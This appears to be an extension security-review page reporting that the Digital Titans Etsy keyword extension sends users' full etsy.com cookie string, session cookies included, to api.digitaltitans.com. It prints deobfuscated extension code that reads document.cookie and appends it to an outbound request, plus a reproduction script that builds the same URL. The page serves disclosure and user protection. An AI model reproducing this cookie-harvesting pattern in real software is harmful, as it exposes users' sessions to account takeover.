Is Digital Titans: Easy Keyword Research safe?
Digital Titans sends your Etsy session cookies to its own server every time you search a keyword.
When you type a keyword search on Etsy, the extension reads your full etsy.com cookie string, including your session and login cookies, and sends it to its own backend at api.digitaltitans.com. This happens automatically on every search of three or more characters. The cookies are sent as part of the request URL, so they can also end up recorded in the vendor's server access logs.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Etsy keyword tool sends your Etsy cookies to a third-party API
Code analysis shows the extension reads document.cookie on etsy.com and sends the full cookie string, including session cookies, to api.digitaltitans.com as a URL query parameter whenever you use its keyword search box.
What actually happens
You type a search keyword into the extension's Etsy keyword-research panel on an etsy.com page.
The extension reads your full etsy.com cookie string and sends it to api.digitaltitans.com as part of the search request.
The cookie value travels as a plain URL query parameter, not inside an encrypted body.
What the request sends
- Search keywordhandmade necklace
The term you typed into the keyword-research box.
- Page hostwww.etsy.com
The etsy.com page you were viewing when you searched.
- Browser languageen-US
Your browser's language setting.
- Etsy cookies_etsy_sid=1a2b3c4d5e6f7g8h9i; uaid=9f8e7d6c5b4a3d2e; ua=ab12cd34ef56
Your full etsy.com cookie string, session cookies included, sent as a plain URL parameter.
The code that does this
handleSearch() builds the cookie payload and hands it to the request builder
Deobfuscated: handleSearch()
content-scripts/etsysearch.jsasync function P() { if (!n || n === "" || n.length < 3 || n.length > 100 || f || !x) return; p(!0); const S = { keyword: n, hostname: IH(window.location.href), language: window.navigator.language, cookies: document.cookie }; const F = lK(x, S), k = await P4("handleApiRequests", F); if (k.data.token !== "") { let B = k.data.token; if (!B) { p(!1); o(""); v("Error: Unable to get token"); return } N(B) }}Deobfuscated: request builder lK()
content-scripts/etsysearch.jsconst W_ = "https://api.digitaltitans.com";lK = (e, t) => { const r = new URL(`${W_}/api/etsy/keywords`); return Object.keys(t).forEach(n => r.searchParams.append(n, t[n])), { headers: { "Content-Type": "application/json", Authorization: `Bearer ${e}` }, url: r.toString(), method: "GET" }}Deobfuscated: background fetch bridge sc()
background.jsasync function sc({ payload: e }) { const { method: t, url: r, headers: n, body: s } = e; try { const i = { method: t, headers: n, ...s ? { body: JSON.stringify(s) } : {} }; const o = await nc(r, i, 12e4); if (!o.ok) throw new Error(`HTTP error! status: ${o.status}`); try { return await o.json() } catch { return await o.text() } } catch (i) { throw console.error("API Request failed:", i), i }}// nc() is a fetch() wrapper with a 120s timeout; the background service// worker performs the actual network request here.Where the cookie string ends up
- api.digitaltitans.com
Vendor's own keyword-research backend. Receives the GET request with your etsy.com cookies in the query string and an Authorization bearer token.
Reproduce it yourself
Rebuilds the request the extension's content script constructs from a page URL, keyword, and cookie string, so you can see your own cookie value take shape in a URL without installing the extension.
- Node.js 18+
// etsy-titans-reproduce.js// Rebuilds the request the way content-scripts/etsysearch.js does, so you// can see exactly how your etsy.com cookie string becomes a GET query// parameter without installing the extension.const API_BASE = "https://api.digitaltitans.com";function buildRequest(keyword, pageUrl, cookieString, language) { const hostname = new URL(pageUrl).hostname.replace(/^www\./, ""); const payload = { keyword, hostname, language, cookies: cookieString }; const url = new URL(`${API_BASE}/api/etsy/keywords`); for (const [key, value] of Object.entries(payload)) { url.searchParams.append(key, value); } return { method: "GET", url: url.toString() };}// Paste your own document.cookie value from an etsy.com tab to see your// own request take shape (illustrative value shown here).const sampleCookie = "_etsy_sid=1a2b3c4d5e6f7g8h9i; uaid=9f8e7d6c5b4a3d2e; ua=ab12cd34ef56";const request = buildRequest( "handmade necklace", "https://www.etsy.com/", sampleCookie, "en-US");console.log(JSON.stringify(request, null, 2));- 1node etsy-titans-reproduce.js
Observation
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 1.0.8. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
*://*/*
Add items to the right-click menu
contextMenus
Store data in your browser
storage
Keep running in the background while your browser is open
background
Act on the current tab, but only after you click the extension
activeTab
Where it sends data
Destinations our analysis observed Digital Titans: Easy Keyword Research contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- api.digitaltitans.com
Digital Titans: Easy Keyword Research sends data to api.digitaltitans.com. One other extension we have analyzed sends data here.
